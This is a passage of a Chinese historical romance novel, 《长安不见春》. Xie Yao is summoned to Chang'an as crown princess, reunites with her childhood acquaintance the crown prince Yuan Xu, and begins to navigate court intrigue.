《长安不见春》
1. 楔子·少年听雨歌楼上
北祈,昭宁十年,上元节。
长安城东市有个家喻户晓的酒楼,名红尘。因其位置处在东市中心,热闹非凡,故自前朝至今都是民间宴饮的首选。每逢佳节,更是门庭若市,年年如此。
今日却一反常态,早早摆了个“上元关张”的字牌。
有几个食客不死心,叩门相问,问的人多了,就在坊间传出了个因由:“汴州来的顾氏女君出手阔绰,付了红尘楼一日的开销,今日的红尘楼自是只为她所用。”
人们只顾慨叹,却忘了,如今汴州何来顾氏?顾氏一族的最后一支早已于去年南迁。
言谈声渐远,红尘楼一扇不知何时微启的窗子后,那位众人口中的“顾氏女君”正端着酒杯,四下张望。
天色阑珊,街头巷尾的灯盏盏亮起,光芒如昼,游人如织,多么热闹繁华的十里长安景。
喧嚣之中,一个白衣胜雪的男子快步穿过人群,衣袂翻飞,引人侧目。那男子却在快行至红尘楼时,忽然放慢了脚步。
“嘎吱——”
街上的游人循声望去——红尘楼二楼正中间的那扇窗子被人彻底推开,一个女子探出头来,她一袭红衣,灿若春华,在流光溢彩的映衬下格外惹眼。只见那女子的目光囫囵扫过楼下的人群,最终停在那个白衣男子的身上。
长安盛景下,她与他两两相望,像是回到了最初,她第一次来长安的时候。
大晟,朔光十二年,上元节。
东市人声鼎沸,喧嚣的人潮都朝着一个方向涌去,目光追寻的尽处,是光华夺目的红尘楼。
谢杳和谢景相对倚在窗牖两侧,自红尘楼四下眺望。
缀满街巷的花灯,色彩缤纷,形状各异,令人应接不暇。
一阵风拂过,空中如柳絮翻飞落了些白,谢杳伸手去接,那点“白”在她手中渐渐消融,化成一滴晶莹的水珠,在屋内灯火的映照下浮着微光。
谢景也伸手去接。
“哥哥,下雪了!”谢杳语调一扬,“是春雪呢!”
雪越下越大,街上的游人纷纷撑起伞,裹紧衣衫,加快了脚步。
料峭春寒,即便是在屋内,也觉得有一丝凉意。
谢景担心妹妹受凉,“我去找姑姑,给你拿件斗篷。”
谢杳漫不经心地点了点头,并没注意兄长说了什么。
她目不转睛地望着窗外——那个站在雪中,身着白衣的少年。
人潮涌动的街市,唯独他没有撑伞,如一枝白梅,遇雪尤清。
元序循着红尘楼几扇张开的窗子,很快找到了谢杳的身影。
素净的浅粉色衣裙,与之相衬的桃花发簪,他失笑,她还是一如儿时般喜爱这淡雅之色。
儿时,他随皇祖父南巡,曾顺道拜访过谢府,也因此在江宁住了一段时日。
元序还记得他第一次见到谢杳时的模样——
“哥哥,他看起来年纪不大,为何要穿一身玄衣啊?”
谢杳打量着元序,难掩心中疑问,在一旁窃窃私语。
“昭昭,慎言!”谢景闻言一惊,忙出声制止。
谢杳瞥了一眼兄长,面露不悦,“慎言!慎言!哥哥越来越像个学究了!他衣服确不衬人,我所言非虚,有何不妥?”
谢景见谢杳这寻根究底的性子又要发作,无奈之下,只好将她拽走,“你操这心作甚?走!兄长带你去吃陈记的桂花糕。”
谢杳一听,也顾不得刚才的争辩,忙道:“当真?那我们再快些。”说罢,她回挽住谢景的胳膊,拉着他快步出了府去。
元序望着兄妹俩远去的背影,破天荒地露出了笑容。
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他低头看了看自己这身衣裳,心下思量:确实老气了些,待回去便换掉。
那时的他,心中惆怅,已是许久未曾展颜,却不想被谢杳的几句话弄得忍俊不禁。
多年后的今日,元序似乎明白了皇祖父当年的劝诫。水满则溢,月盈则亏,在这世上,有失去才会有得。
元序抬眸,迎上谢杳的目光。
谢杳一惊,忙将目光移向别处,不知为何,她总觉得这个白衣少年的面容很是熟悉,好似在哪里见过。
“昭昭,在看什么?”
谢杳闻声回头,“姑姑?你怎么下来了?”
“怎么?红尘楼楼主不能出现在楼内?”谢弈月打趣道。
谢杳摇了摇头,“不是,我是怕你暴露身份。”
谢弈月见自己这小侄女认真的神情,不忍再逗她,敛了玩心,“无妨的,在这长安城,没几个能认出我的人,昭昭不必担心。”
谢杳莞尔,又忽地想到适才望见的那个白衣少年,急忙回身去看。少年早已不在原地,他随着攒动的人群,渐渐远去。
“姑姑,那个人我好像之前在哪儿见过。”
谢弈月顺着谢杳手指的方向望过去,在她看到那个白衣少年的背影时,脸上浮过一丝不易察觉的轻笑。
她对着正欲追出去问个究竟的谢杳,意味深长地说道:“你若是要去寻他,就不必出去了,过不了多久,你们就会再见的。”
谢杳不明就里地望向姑姑,迟缓地点了点头。
彼时的她还不明白这句话背后的深意,也不明白她的姑姑潜藏在其中的情绪。
因缘际会,究其因果,不过缘分使然。
江宁谢氏与长安元氏的因缘如同盘根错节的枝蔓,代代相因,而谢杳与元序之间的缘分,与长安这座城池的羁绊,才刚刚开始。
2. 第一卷·万里送行舟
朔光十三年元日,天朗气清,春意初显。
谢杳伸了个懒腰,慢吞吞地掀开被子,无精打采地坐到镜台前,连着打了好几个哈欠。
昨夜她被拉着守岁,今日还要早起拜年,真是扰人清梦。
棠梨望着自家小姐那一副幽怨的样子,忍不住笑出了声,“小姐,现下已是卯时正刻,若小姐再不快些,怕是赶不及朝食了。”
谢杳如梦初醒,不由得加快了动作。
“昭昭竟起得来了?”谢景笑着望向疾步而来的谢杳。
谢杳不答,白了一眼谢景。
桌上的江宁侯夫妇忍俊不禁,趁着混乱,偷偷跟兄妹俩身后慢慢走近的人交换了个眼神。
谢杳正欲发作,却忽而感到肩膀一沉,猛地回头。
“姑姑?”谢杳和谢景异口同声地喊道。
适才“剑拔弩张”的氛围一扫而空,欢声笑语响彻屋内。
新岁伊始,万象更新。
阖家团圆,就是这世间最大的幸事。
朝食过后,众人齐聚后园。
清风徐来,碧波的池水泛起一丝涟漪。
管家急急忙忙地朝他们跑来,“侯爷,夫人,宫里来人了,说是来给二小姐送今年的新年礼,还有圣上的旨意。”
谢杳牵着风筝的手一顿,引线受力被扯断,大红的鲤鱼在空中歪歪扭扭,向下一坠,落到树上。
“这风筝,还有这本《云夏奇卷》……都是殿下亲自给您准备的……”前来送新年礼的东宫侍卫滔滔不绝。
谢杳听得直打瞌睡,努力打起精神,应声附和,“多谢苏侍卫,劳烦你回去后帮我向殿下道谢。”
待他们走后,谢杳囫囵扫过这一屋子的新年礼,丝毫没有想打开的意思。
“小姐,不喜欢吗?”棠梨边收拾边问道。
谢杳摇头,其实这些新年礼都是她平日里极喜爱的玩意儿,足可见太子的用心,只是这个太子妃之位,她实在无意,自然也就提不起兴趣。
“何时入京?”谢弈安皱了皱眉头。
“回侯爷的话,圣上的意思,立春之前,务必让太子妃抵达长安。”
高晏见夫君久未应声,连忙接过话茬,“圣上的意思我们知晓了,定不会耽搁。有劳福公公,您这一路舟车劳顿,就在城内休整几日,再返程吧。”
福公公躬身见礼,“多谢夫人,但老奴还有其他要事在身,便不多留了。”
高晏向管家使了个眼色,管家走上前,将一袋沉甸甸的银钱递给福公公。
“老奴谢过侯爷,谢过夫人。”
“一份薄礼,还望公公笑纳。公公既有要事在身,就不耽误您了。”高晏的脸上堆满笑意。
“老奴告退。”
福公公一行人走后,江宁侯夫妇相对而立,无奈地摇了摇头。
这一天,终究还是来了。
被突如其来的“贺礼”一搅,谢杳彻底没了玩乐的心思,她胡乱找了个借口,将自己关在屋内,闭门不出。
晚膳过后,她纵身一跃,坐到房顶的屋脊上,俯瞰着灯火通明的江宁城,万般思绪涌上心头。
“还真让阿景说中了,你果然在这儿。还是和小时候一样,一不开心就躲到高处。”
一个声音忽然从她身侧传来。
“姑姑,你早就知道了吧?”
“什么?”谢弈月被谢杳没来由的话问得一愣。
“让太子妃入长安的诏令,姑姑一早就知道了吧。”谢杳转头望向谢弈月。
谢弈月没出声,也没避开谢杳的目光。
“我说姑姑怎么今年这么痛快就回来了呢,原来是因为这个缘故。”谢杳勉强挤出个笑容。
谢弈月叹了口气,“姑姑这些日子会一直待在江宁,等你出发时,与你一道去长安。”
谢杳没再出声,轻轻点了点头。
“你若要再坐一会,我就叫棠梨给你拿个斗篷上来,或者下去找你哥哥,他在中堂等你,说是要带你去吃陈记的新糕点。”言罢,谢弈月跃下屋顶。
她在檐下等了片刻,未见谢杳下来,只好唤来棠梨,叮嘱她快些拿件厚实的斗篷上去,免得谢杳受凉。
谢弈月路过中堂,被谢景叫住,“姑姑,昭昭如何?”
她无奈摇头,“让她一个人静一静吧,有些事只有自己想通了,才能真正做到不困于心。”
“昭昭她会想明白的。”谢景笃定地说道。
晚风呼啸,吹的梯子一晃一晃的,棠梨抓紧斗篷,艰难地爬上屋顶,上面的风更大了,吹的她有些睁不开眼。
棠梨摇摇晃晃地给谢杳披好斗篷,在她的伸手搀扶下坐了下来。
“小姐,这上面太冷了,还是下去吧。”棠梨握着她冰冷的手,忍不住劝道。
谢杳轻笑,“是吗?长安可比这儿冷多了。”
“小姐之前不是一直很喜欢长安吗?去年上元节,你还和大公子偷偷跑去那里,回来被罚跪了好几日祠堂呢。”棠梨有些不解。
“我是喜欢长安,可我不喜欢太子妃之位。”
棠梨几番思量,仍不知该作何回答。她知晓小姐生性洒脱,理当自由自在,不该被囿于宫墙,可谁让她是江宁侯之女,是谢氏之女呢,一切都无可奈何。
“其实当今圣上尊太祖敕旨让我做太子妃,无非是想以我为质,用我的命来要挟谢氏和高氏。”这些话压在谢杳的心里良久,沉如千钧,“我这个太子妃,不过是用来权衡世家的一颗棋子罢了。”
“小姐,这些话万不可再说了,若是让有心之人听去,恐有杀身之祸!”棠梨紧紧攥住谢杳的手臂,示意她噤声。
谢杳没再出声,目光移向远处的天际。
天空漆黑而静寂,隐没了万家灯火,沉入深深的夜色之中。
在她离家前的这些天,谢景总是在她身边忙前忙后,陪着她的时间比以往多了几倍。要是放在以前,谢杳一定会好好调侃一番,但是现在,她却不忍说出口。因为她知道,兄长是舍不得她。
奈何时间总是流逝得飞快,很快就到了她该启程的日子。
江宁侯夫妇和谢景将谢弈月和谢杳送到门口,谢弈月先上了马车,留下谢杳同他们说话。
“吾儿谨记,三思而后行。”谢弈安叮嘱道。
高晏轻抚过谢杳的脸颊,眸中闪着泪光,“昭昭,照顾好自己。”
谢杳眼眶微红,用力点了点头。
谢景拍了拍妹妹的肩膀,“记得给我回信,莫要把你兄长给忘了。”
“那哥哥可要常给我写信。”谢杳破涕为笑。
她跪地叩首,“谢杳拜别父亲,母亲,兄长,你们好好保重。”
言罢,她头也不回地转身上了马车。
马车驶出江宁城后,谢杳掀起窗帷,默默望向那座离她越来越远的城池,那个她生活了十二年的故乡。
***
驶离春意萌动的江南,映入眼帘的是一片萧瑟之景,北方的春天总是来得很晚,眼下还是冬日的景象。
这一路上,谢杳也没闲着,她缠着姑姑,把大晟如今的官场情况打听了遍,以便日后能够应对。
马车在行到长安近郊的一处山坡上停了下来。谢杳与谢弈月并肩而立,远远望向那座繁华而壮丽的长安城。
“后面的路,昭昭要自己走下去了。”
谢杳颔首,“姑姑自己一个人也要多保重。”
“还轮不到你个小丫头来担心我。”
姑侄二人望着彼此,忍不住笑出了声。
“昭昭切记!不到万不得已绝不能暴露你这一身功夫。若遇到难处,一定要来找姑姑。”谢弈月与谢杳分别前再次嘱咐道。
谢杳神情认真,“姑姑放心。”
谢弈月离开后,马车继续前行,很快就进了长安城,谢杳扬声对驾车的小厮交代道:“不必停留,我们直接入宫。”
“小姐,我们这样贸然进宫会不会不妥?”棠梨有些担心。
谢杳摇了摇头,懒
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散地倚在窗边,长安街景在她眸中飞速闪过,她心下思量:当今圣上虽并未把她这个太子妃放在眼里,但到底还是会有所忌惮,因此必须做足样子,哪怕是出其不意,也好过被动应对。
“小姐,后面有个人好像一直在跟着我们。”侯府侍卫在车窗旁低声禀报,打断了她的思绪。
“棠梨。”谢杳指了指窗外。
棠梨会意,将头伸出窗外,左右张望。在她们后面,一个身着银灰色长衫的少年骑在马上,他慢悠悠地跟着,似是不着急赶路。
“小姐,是一位公子,着银灰色衣裳,想必非富即贵。”棠梨将所见如实说给谢杳。
“何以如此笃定?”谢杳有些好奇。
“他衣裳的料子是上好的锦缎,若我没看错的话,应该是江南的云锦。”
谢杳闻言,神色一敛,能在皇城中着云锦之人,绝非寻常世家子弟。
想到这儿,她急忙开口:“可还有其他进宫的道?”
“有。”驾车的小厮又问,“小姐要改道吗?”
谢杳毫不犹豫,“改道。”
骑马跟着的少年见谢杳一行改了道,知晓自己已经暴露,不好再继续跟下去,只好策马离开。
快到承天门时,苏木跟了上来,“殿下怎么一个人?”
元序不悦地斜了一眼他。
苏木心领神会,不再多问。
谢杳跟在福公公身后,在他领路下前往含元殿。
他们经过一座气势恢宏的宫殿,玉石为阶,金丝楠木为柱,华贵非常,殿檐上的琉璃瓦在阳光下宛若鎏金浮动,晃得人睁不开眼——这便是太极殿,是至高无上的权力之巅,也是一切功名利禄的争斗场。
含元殿内,大晟帝皇于晟朝舆图前负手而立。
谢杳被福公公引进殿后就看到这样一幅画面,她对当今圣上无甚了解,但也不算陌生,因为在她儿时的记忆里,这位朔光帝总是时不时的被姑姑提起。
“臣女谢杳拜见陛下。”谢杳稽首,向朔光帝施礼。
朔光帝大悦,“免礼。”
他伸手虚扶起谢杳,“这一路路途遥远,怎么不先休息几日?”
“谢陛下关心。臣女想着虽时间有余,但既入长安,岂有不先拜见陛下的道理,臣女不愿耽搁。”谢杳言辞恳切。
朔光帝闻言大笑,“好个牙尖嘴利的小丫头!”
谢杳望着面前这位与父亲年纪相仿又极为亲和的帝皇,一时间有些失神,但她心里清楚,人有多面,尤其是身居高位者,他们更是不会将真实面目轻易示人。
“可曾见过太子?”朔光帝话锋一转。
“未曾。”谢杳应对自如。
“福来,传召太子,让他到大殿来。”
谢杳见状,急忙开口:“陛下,臣女身子有些不适,还望陛下准许臣女先行回府。”
朔光帝凝眸打量着面前的少女,沉默了片刻,“也罢。若是实在不适,可叫太医去府上。”
“谢陛下,臣女告退。”
谢杳缓缓退出大殿,在她转身的那一瞬,朔光帝收起面上展露出的笑容,若有所思地望着她离去的背影。
“小姐怎么这么快就出来了?”棠梨见谢杳出来,很是惊讶。
谢杳不答,拉着棠梨快步出了朱雀门。
“我们去谢府旧宅。”上了马车,谢杳立刻说道。
棠梨闻言又是一惊,“圣上没有让小姐留在宫里?”
谢杳轻轻摇头,“咱们这位圣上似是不太想让我在宫里。”
棠梨听得一头雾水,但瞧着小姐欣喜的样子,觉得也算是个不错的结果,就没再多问。
马车穿过繁华的街市,驶入一条狭长的小巷,最终缓缓停在谢府门前。
此去经年,无人居住的宅院透着一股时过境迁的荒凉,却又并没有那么破败不堪,倒像是有人照看,悉心修缮过的样子。
谢杳望着那带有熟悉字体的匾额,心中默念道:“祖父,我们又回来了。”
3. 第二卷·拨雪寻春
谢府檐上堆积了厚厚的一层雪,像是旧雪还未来得及消,就又下了新雪。
谢杳心念微动,摇身一跃,站上屋顶。
她用手将雪轻轻拨开一处,小心翼翼地坐下,冻得忍不住打了个寒噤。
谢府旧宅位于常乐坊最偏僻的一个小巷,不远处便是长安东市,那里人来人往,熙熙攘攘,这里却幽深僻静,可谓大隐隐于市。
谢杳由衷佩服祖父的眼光,这座占据天时、地利的宅院正好便于她行事,无论是防范宵小,还是远离争斗,都是极有助益的。
谢杳唤来棠梨,交代她道:“这几日,你要叮嘱府内的人守好府门,借我身子不适为由,任何前来拜访的人,都一律不见。”
“小姐,这样恐怕会惹人非议。若是无人拜访倒也无妨,可若是有人拜访,我们闭门不见,岂不树敌。”棠梨温声相劝。
“我就是要让他们议论,让他们告诉圣上,我们江宁侯府并无结交世家之心。”谢杳莞尔,继续说下去,“更何况,欲真心结交之人,是断不会在这个时间前来的,也绝不是吃个闭门羹就会离开的。”
棠梨恍然,用力地点了点头。
第二日,果真如谢杳所言,长安城一些闻风而动的达官显贵纷纷前来拜访,又都一概被拒之门外。
一连三日下来,这些人通通就此作罢,偌大一个谢府竟连一张拜帖都没送进去,这消息顺着长安东市一传,闹得沸沸扬扬,人尽皆知。
倒是有一个人,一直不曾放弃。
第六日,苏木又来到谢府门前,他白日忙着其他事务,忙到日落才想起给太子妃的拜帖还没送,急急忙忙地赶到谢府,心中暗喜:终于没什么人了,不然挤都挤不上前去。
棠梨见来人是他,心中犹豫,算上前几次已然拒绝东宫四次了,这该如何是好。
还没等棠梨开口,苏木就抢先一步把拜帖塞到她手里,然后转身快步跑开,边跑边回头喊道:“拜托棠梨姑娘了。”
棠梨忍俊不禁,心想:真是神仙打架,小鬼遭殃啊!
她边想边转过身,被陡然出现在身后的谢杳吓了一跳,“小姐!你何时来的?怎的一点声音都没有?”
“怎么?你做亏心事了?”谢杳打趣道。
没等棠梨回答,谢杳轻轻一抽,拿走了她手里的拜帖。
谢杳坐在府内的海棠树上,借着月光,翻阅着手中的拜帖。
海棠树下,一个小厮提灯走过,被她叫住,将灯笼递了上来。
谢府门外不远处的马车里,元序望着忽然亮起的海棠树,勾了勾唇。他借着灯笼的光亮,望见了谢杳的身影。
他莫名想起多年前在江宁侯府的海棠树上,小谢杳无助的模样,那个时候的她像一只小兔子,小小的个子爬到那么高的海棠树上,竟一点都不害怕,等到要下来的时候,才有些不知所措。
谢杳怀中的拜帖被她挂灯笼的动作一带,掉了下去,她倾身一跃,在拜帖掉到地上前接住了它。
一些儿时的记忆,在她脑中闪过。
“子启哥哥,抱——”小谢杳张开双臂,可怜兮兮地望着元序。她本来不想让他帮忙,可是环顾四周,除了他以外也没有别人在,只好向他求助。
元序走到海棠树旁,伸手试了试又放下,“你爬得太高了,我没办法直接抱你下来。”
“那我跳下去,你在下面接着我。”小谢杳的声音中带着一丝颤抖。
元序点头示意,向她伸出手,“我一定会接住你的。
小谢杳紧闭双眼,用力一跃,片刻后,落在一个温暖的怀抱之中。
自那以后,谢杳越来越亲近这个从长安来的少年,总是喜欢听他讲有关长安城的故事,那是儿时的她最向往的未知天地。
彼时的她,还不知晓元序的身份。
“太子哥哥,如今的我也可以自己稳稳地跃下海棠树了。”
谢杳收好拜帖,拂了拂衣袖,转身向屋内走去。
苏木拿着几盏灯笼快步走向元序,“殿下,你要的灯笼。”
元序接过灯笼,将它们一盏盏挂在谢府门外的柳树枝桠上。
整条小巷被照得透亮,光华如白昼。
几个行人路过,见这场景都不由得感叹:“这是哪家的公子,竟这般有心。”
苏木见驻足的行人越来越多,低声提醒:“殿下,你的身份不宜暴露,还是回去吧。”
元序颔首,转身上了马车。
在马车掉头驶离的那一瞬,谢杳循着嘈杂的声音,走出府外,映入眼帘的是整个巷子的明亮灯火。
苏木怕有人暗中跟随,回头观望,恰好看到走出府来的谢杳,“殿下,谢府有人出来了!”
元序连忙掀起窗帷,远远望去,少女已是亭亭玉立,她四下张望着,像是在寻找什么,看起来心情不错。
谢杳的目光越过人群,最终停在一辆渐渐远去的马车上,那马车的装饰富丽华贵,十分惹眼。她会心一笑,已然知晓是何人所为。
她唤来棠梨,从衣衫夹层中拿出拜帖,递给她,“传信姑姑,雨水节气我于楼内赴太子之约。”
***
北方的正月总是春寒料峭,让人难以捉摸。这不,昨儿还是艳阳高照,今日就下起了小雨。雨水滴滴答答打在窗棂,像一首琵琶曲,动人心弦。
去年这个时候长安还在下雪,今年的上元才刚过,就下起了雨,这样的天气,倒是有几分像江南。想到这儿,谢杳不由得叹了口气。
棠梨望着郁郁寡欢的谢杳,很是发愁,小姐不是最喜欢雨天吗?难道是……想家了?
“小姐,你看这天气,多应景啊!”棠梨说着,推开了窗子。
一阵凉风吹来,卷着雨丝,轻轻的打在谢杳的手上,让她回过神来,“什么?”
“雨水节气啊!今日还是小姐你的生辰。”
棠梨笑着望向谢杳,清了清嗓子,换了个腔调,继续说道:“欹枕江南烟雨,杳杳没孤鸿。”
谢杳不禁苦笑,生辰,一个人的生辰吗?
棠梨明白谢杳的故作轻松,可一时又想不出办法,只好在房中踱步。
徘徊中,她不经意一瞥,有了个好点子。
“小姐,你一会儿要穿哪一件赴约啊?”棠梨挑了几件粉色的衣裳,拿到谢杳面前。
“这件颜色淡了一点,有点素;这一件虽颜色正好,但花纹太多,有点过于华丽……”棠梨的小嘴说个不停。
谢杳实在无心继续听下去,开口打断了棠梨,“你去把哥哥给我新做的那件衣裳拿来。”
申时正刻,谢杳按拜帖约定的时间,准时来到红尘楼。楼内人声鼎沸,却并不如往日喧嚣,想来是这阴雨天气,惹的人们不愿出门。
她们刚上到二楼,就撞见正欲下楼去迎她们的苏木。
“棠梨!”苏木先认出了棠梨。
“想必这位就是谢二小姐了。”他侧目望向棠梨身边戴着帷帽的女子,“二小姐请随我来。”
雅间的门被苏木轻轻推开,一个身着银白色长衫的男子立在窗边,听见声响转过身来。
透过帷帽的缝隙,谢杳看清那人的面容,心头一震。原来,去年上元节自己在红尘楼上望见的那位白衣少年就是太子,怪不得她当时会觉得他的面容如此熟悉。
元序望着渐渐走近的少女,脸上扬起明媚的笑意。相识以来,这是他第一次见谢杳穿青碧色的衣裙,这颜色好像江南的绿水,让他想到江宁城和煦的春天。
“参见太子殿下。”
谢杳刚一行礼,就被元序拉到桌边坐了下来。
“你我之间不必多礼。”
谢杳闻言微怔,他竟没有自称“孤”,而是“我”。
“此处没有外人,谢二小姐还要一直戴着这顶帷帽吗?”
谢杳用手缓缓拨开帷纱,小心地摘下帷帽。少女面若桃花,肤若凝脂,气质清丽脱俗。
元序很是感叹,当初的小姑娘,如今已经出落得倾国倾城了。
谢杳端起茶杯,“臣女以茶代酒,敬殿下。谢殿下这些时日的相护,若非如此,谢杳恐难能这般顺遂。”
元序不答,伸手接过她手中的茶杯。
谢杳一愣,忙收回手,“不知殿下相邀,所为何事?”
她话音刚落,就听见砰的一声,雅间的门被人从外面大力推开,一个身披桃红色绣花斗篷的少女闯了进来。
“太子哥哥!你究竟在这里见什么人?为何失约不去府里的宴席?”少女生气地望向他们,眼中满是对谢杳的敌意。
元序敛了笑意,向谢杳介绍道:“这位是薛国公府的三小姐薛蔓儿。”
谢杳忆起姑姑同她说过的话,“大晟的薛国公薛凌寒,洛阳人氏,乃当朝皇后的父亲,其位高权重堪比一国宰辅。倘若不是朔光帝废除了旧制,不立丞相,他无疑是大晟朝堂人人推举的首选。”
谢杳起身,“薛三小姐,幸会。”
薛蔓儿不屑地回礼,上下打量了她一番,心中暗想:这般好看的女子接近太子哥哥,定是别有用心。
她正欲开口刁难,却见谢杳忽地转过身,落落大方地对着太子说道:“太子殿下既有事在身,谢杳就先行告退了。”
“谢杳?”薛蔓儿惊愕地望向谢杳,口中喃喃,“你是谢杳?”
“放肆!”元序用力将茶杯往桌上一摔,冰冷的目光中带着彻骨的寒意,“太子妃的名讳岂是你能叫的?”
不止薛蔓儿,就连谢杳都被元序这番举动弄得动作一滞。
大晟太子素有温润仁德之名,传闻至今还从未说过他有与何人争执,亦或是动怒。
“国公府的宴席孤未曾应过,谈何失约?”元序丝毫不留情面,“倒是你骄纵成性,无礼至极,国公府就是这般管教后人的?”
薛蔓儿被说得哑口无言,眼泪在眼眶打转。
“收起你那些歪心思,孤对你的容忍到此为止。”元序一字一顿地说道。
薛蔓儿见心思被点破,终是按捺不住,也顾不得其他,哭着跑了出去。
君王之怒,若雷霆万钧。
谢杳望着薛蔓儿落荒而逃的背影,无奈轻叹。
门外的苏木和棠梨见状都不敢言语,大眼瞪小眼地望着对方。苏木心下一横,伸手关上了门。
谢杳深吸了一口气,抬眼望向元序,“殿下何必动怒,她年岁尚小,不懂事罢了。”
“年岁尚小又如何,孤就是要让他
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们知道,孤的太子妃他们怠慢不得。”元序迎上谢杳的目光。
“殿下素来温润谦和,此事若传扬出去,怕是会误了名声。”
“孤不惧。”元序豪不犹豫地说道。
“殿下可以不惧,但谢杳却不能推脱,是谢杳之过……”
“昭昭。”
谢杳眼睫微颤,少年声音温和,一如多年前在江宁时他唤她那般。
“你我之间何以如此生分?”元序的眸中闪过一丝不易察觉的失落。
谢杳默不作声,心中五味杂陈:大概是因为时间?身份?权力?又或许是这所有的一切,把他们从儿时的亲近一点一点拉到如今的距离。
两人纷纷落座,相顾无言,惹得门外的苏木和棠梨好一阵担心。
苏木焦急万分,殿下今日怎么回事,明明一直盼着能见到太子妃,怎的一见就哑巴了。
棠梨心中也犯起了嘀咕:太子殿下刚动完怒,小姐怎能这般直言不讳。更何况殿下还是为了小姐好,小姐倒像是全然未领情。
月见端着食盒,还没走到门口,就瞧见这一左一右满面愁容,好似霜打了茄子般的两个“门神”。
她忍俊不禁地走近,苏木和棠梨同时抬头,望见来人是月见,如蒙大赦。
月见轻轻叩门,在屋内的人应了声后走了进去。
“见过太子,太子妃。”月见施完礼,提着食盒走到谢杳跟前,“这是太子殿下托师父给你做的长寿面。”
谢杳大惊,月见阿姊怎能在太子面前称姑姑为师父,难道……元序早已知晓姑姑的身份?
月见知她所疑,迎上谢杳的目光,向她眨眼示意。
“月见告退。”
月见转身极快地退出了雅间。
“快吃吧。”元序拿起茶杯给谢杳倒了一盏茶。
“谢殿……”
元序猛地抬眼,硬生生把她的话给噎了回去。
谢杳垂眸,思绪翻涌,若不是太子相邀,她很难来到红尘楼。
她到长安后的这段日子虽然顺遂,但难保不会有人暗中监视,因此她的一举一动都慎之又慎。她远离故土,心中难免思念与她同在异乡的姑姑,却也只能忍耐,不然只会给姑姑招致祸患。
这所有的艰难与荆棘,都被太子化为乌有,成了合情合理的坦途。
她用余光偷偷瞥向元序,少年姿容如玉,威仪秀异,容貌可以称得上是冠绝天下。更难得的是,他的眼眸清澈纯净,透着悲悯,如山间清泉,不染纤尘。
“嗖——砰——”
烟花跳跃升空,绽放出流光溢彩,点亮了长安的夜空。
谢杳透过雅间的窗子望出去,刚好能看到烟花的全貌,没有一点遮挡。她肆意地笑着,像是卸下了所有的重担。
这笑容映在元序的眸中,让他久久不能移开目光。
在无人知晓的一隅,少女欣喜地望向天空中盛放着的焰火,在她身后,少年目不转睛地注视着少女,眼中亦满是欢喜。
谢杳转头,迎上元序来不及收回的目光。她望着少年灿若星辰的眼眸,心念微动。
“生辰快乐!”元序粲然一笑,“愿昭昭,岁岁不独往,年年胜今昔。纵世事难平,亦不萦于心;纵四方难往,亦不辍于行。”
谢杳垂眸,眼底弥漫上一层雾气。
焰火不绝于耳,响彻整个长安东市。
趁着声响,谢杳轻声说道:“谢谢你,太子哥哥。”
“什么?”
红尘楼内外皆是一片嘈杂,元序没能听清谢杳后面的话。
谢杳笑着摇了摇头,不欲再重复。
夜色阑珊,已将近戌时,再过半个时辰就是宵禁的时间了。元序担心途中生变,执意将谢杳送至谢府门口。
马车刚一停稳,元序就立刻起身,抢先走了出去。
谢杳不疾不徐地跟在他后面,只见元序蓦地停住脚步,伸手把她护在身后。
谢杳眉头微蹙,下意识摸向腰间的软剑。
“苏木!”元序声色俱厉,“去查清楚是何人所为。”
谢杳环顾四周,不只谢府门前,整条巷子都是一片狼藉。
元序之前亲手挂在树梢上的灯笼被全部撕碎,散落在地上。
元序的眸中满是担心,谢杳却好似意料之中,神情从容。
“这几日一定要多加留意,小心为上,我会派侍卫暗中保护你们。”元序叮嘱道。
“无妨,此番应该只是个警告。”谢杳神色淡然,“这里离长安东市不远,他们也不敢闹出什么太大的动静。”
元序离开后,谢杳又折返回来。
小巷恢复了原貌,像是什么都没有发生过。
她随意一瞥,慢慢走到一棵柳树旁,俯身轻轻拾起一片被遗落下的灯笼碎片,露出一个似笑非笑的表情:果然有人按耐不住了,可这幕后之人会是谁呢?
雨水之后,谢杳依旧隐于府内,不与长安任何世族来往。
时至清明,她来长安已三月有余,这里总算有了入春的迹象。府内的海棠树露出了嫩芽,梁上有几只新燕筑巢,万物复苏,一片生机盎然。
谢杳勾唇一笑,“气清景明,万物皆显,正是好时机。”
4. 第三卷·梨花风起正清明
朔光十三年清明当日,谢杳换了一身淡青色的窄袖襦裙,戴好帷帽,确认无异后,带着棠梨出了门。
马车穿过闹市,向城南的慈恩寺驶去,随着马车行进,路上的喧闹声越来越小,人流也渐渐变得稀疏。
“长安这么多古刹,小姐为何偏偏选了慈恩寺?”棠梨见这一路愈发的荒无人烟,不免有几分担忧。
驾车的小厮掀起车帷,“小姐,慈恩寺到了。”
谢杳见到了地方,来不及和棠梨细说,“待出来,我再告诉你。”
慈恩寺虽在长安城内的东南角,但来此进香的人却并不多,大约是因为最近有陇右来的高僧在大兴善寺译经弘法,再加之其寺殿崇广,可容纳近千人,于是城内的大部分人就都一窝蜂地涌向那里去了。
“这里真是清净。”棠梨轻声感叹。
谢杳摘下帷帽递给棠梨,用只有她们二人能听见的声音,交代她道:“佛前不可佩兵刃,你就在殿外等我吧。”
谢杳进完香,于佛像前跪拜,她双手合十,虔诚祈愿:“祖父祖母在上,孙女如今无法归于江宁,只能在此祭拜,以表敬意,愿祖父祖母庇佑,江宁侯府岁岁年年,安定无虞。”
谢杳缓缓起身,转身走向殿外,她刚迈出门槛就被人用力拽到一边。
“小姐!”棠梨惊呼。
谢杳向她打了个手势,棠梨会意,停下脚步,舒了口气。
谢杳本可以轻松挣脱,却又实在好奇面前这位少女葫芦里究竟卖的是什么药,于是故作一惊,“薛三小姐?好巧!”
“带我去见太子哥哥。”薛蔓儿瞋目望向谢杳。
谢杳忍不住笑出了声,“原来你一路跟着我,是以为我要去见太子殿下?”
“我……我哪有跟着你,你莫要胡说!”薛蔓儿被谢杳的反应弄得有些摸不着头脑。
谢杳一脸无辜地眨了眨眼,她望着神情认真的薛蔓儿,忽然玩心大发,“三小姐心悦太子殿下?”
薛蔓儿被说中心事,脸上浮起一丝红晕,不好意思地侧过头去。她转念一想,又觉得有些疑惑,“谢二小姐可是太子妃,怎的一点都不生气?”
“何故生气?”谢杳神色淡然,“每个人都有选择的权利,选择喜欢谁,不喜欢谁,这些都是旁人无法干涉的。既然无法干涉,又何必在意呢?”
薛蔓儿默默思量,觉得谢杳说得确有一番道理。
谢杳不欲再多耽搁,正色道:“三小姐若想见太子殿下,不必跟着我,直接去找他便是。没有旁的事,我就先回府了,告辞。”
